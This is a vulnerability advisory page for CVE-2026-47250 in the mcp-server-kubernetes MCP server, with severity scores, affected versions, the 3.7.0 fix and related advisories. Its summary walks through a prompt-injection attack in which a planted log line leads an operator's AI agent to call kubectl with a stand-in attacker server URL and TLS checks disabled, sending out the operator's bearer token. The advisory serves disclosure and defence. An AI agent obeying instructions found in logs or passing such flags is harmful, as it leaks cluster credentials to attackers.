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TI-2026-34833 Aliases CVE-2026-47250GHSA-6mx4-4h42-r8vh

mcp-server-kubernetes: kubectl-generic flag injection enables Kubernetes bearer token exfiltration

Priority MEDIUM 60CWE-88Published · Updated

Key facts

Attack vector
Network
Privileges required
None
User interaction
Required
Attack complexity
High
Impact type
Code execution
Confidentiality · integrity · availability
High · None · None
Fix status
Fixed

Attack profile from CVSS 3.1 · CNA. Fix status from CNA and GitHub. Impact type from CWE-88.

Summary

mcp-server-kubernetes is a Model Context Protocol server for Kubernetes cluster management. Prior to version 3.7.0, the kubectl_generic tool in mcp-server-kubernetes passes user-supplied flags directly to kubectl without any allowlist, enabling a privilege escalation attack within Kubernetes environments. An attacker who already has limited cluster or codebase access, for example, a developer with pod-deployment permissions but not cluster-admin credentials, can plant a single structured JSON line in an application's log output. When an operator with a privileged kubeconfig uses the MCP server to read those logs and their AI agent follows the injected instruction, kubectl_generic is called with --server=https://attacker.example.com and --insecure-skip-tls-verify=true. kubectl sends all API requests, including the Authorization: Bearer <token> header from the operator's kubeconfig to the attacker's endpoint. The captured token can then be replayed directly against the real Kubernetes API server, granting the attacker the full RBAC permissions of the operator's service account. This issue has been patched in version 3.7.0.

Why it matters now

Exploitation Proof of concept CISA SSVC · not in CISA KEV
EPSS 0.00423 36th percentileScored 2026-11-07
Fix Fixed mcp-server-kubernetes (Flux159): 3.7.0mcp-server-kubernetes (npm): 3.7.0

SSVC decision points

CISA ADP · SSVC 2.0.3

Exploitation
Poc
Automatable
No
Technical impact
Partial

The decision (Track, Attend, Act) also depends on your mission and well-being impact; see CISA's SSVC guide.

Affected products

VendorProductAffected versionsFixed inStatusSource
Flux159mcp-server-kubernetesbefore 3.7.03.7.0Patch availableCNA
—mcp-server-kubernetes (npm)before 3.7.03.7.0Patch availableGHSA-6mx4-4h42-r8vh
  • mcp-server-kubernetes VendorFlux159 Affected before 3.7.0 Fixed in 3.7.0 Patch available CNA
  • mcp-server-kubernetes (npm) Vendor— Affected before 3.7.0 Fixed in 3.7.0 Patch available GHSA-6mx4-4h42-r8vh

CPE names Threatist (inferred) · 1

Inferred from how NVD named this product before; not given by a source.

CPEVersionsRoleVendor
cpe:2.3:a:suyogs:mcp-server-kubernetes:*:*:*:*:*:*:*:*——Flux159
  • cpe:2.3:a:suyogs:mcp-server-kubernetes:*:*:*:*:*:*:*:* Versions — — ·Flux159

Remediation

  • Fix · CNA mcp-server-kubernetes (Flux159) Fixed in 3.7.0
  • Fix · GHSA-6mx4-4h42-r8vh mcp-server-kubernetes (npm) Fixed in 3.7.0 Advisory →

Timeline

  1. 2026-10-02 Threatist record created from CVE-2026-47250
  2. 2026-10-03 Alias added: GHSA-6mx4-4h42-r8vh

References

Advisory 1

Other 3

  • TI-2026-44064 MCP Server Kubernetes < 3.9.0 Argument Injection via kubectl Structured Tools CVSS 4.0CRITICAL 9.3
  • TI-2026-34208 Incorrect authorization in Flux159 mcp-server-kubernetes CVSS 3.1HIGH 8.8
  • TI-2025-40841 mcp-server-kubernetes potential security issue in exec_in_pod tool CVSS 3.1HIGH 8.8
  • TI-2026-28763 MCP Server Kubernetes has Argument Injection in its port_forward tool via space-splitting CVSS 3.1HIGH 8.3
  • TI-2026-06677 Flux159 mcp-game-asset-gen MCP index.ts image_to_3d_async path traversal CVSS 4.0MEDIUM 6.9
  • TI-2025-33320 mcp-server-kubernetes vulnerable to command injection in several tools CVSS 3.1HIGH 7.5

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences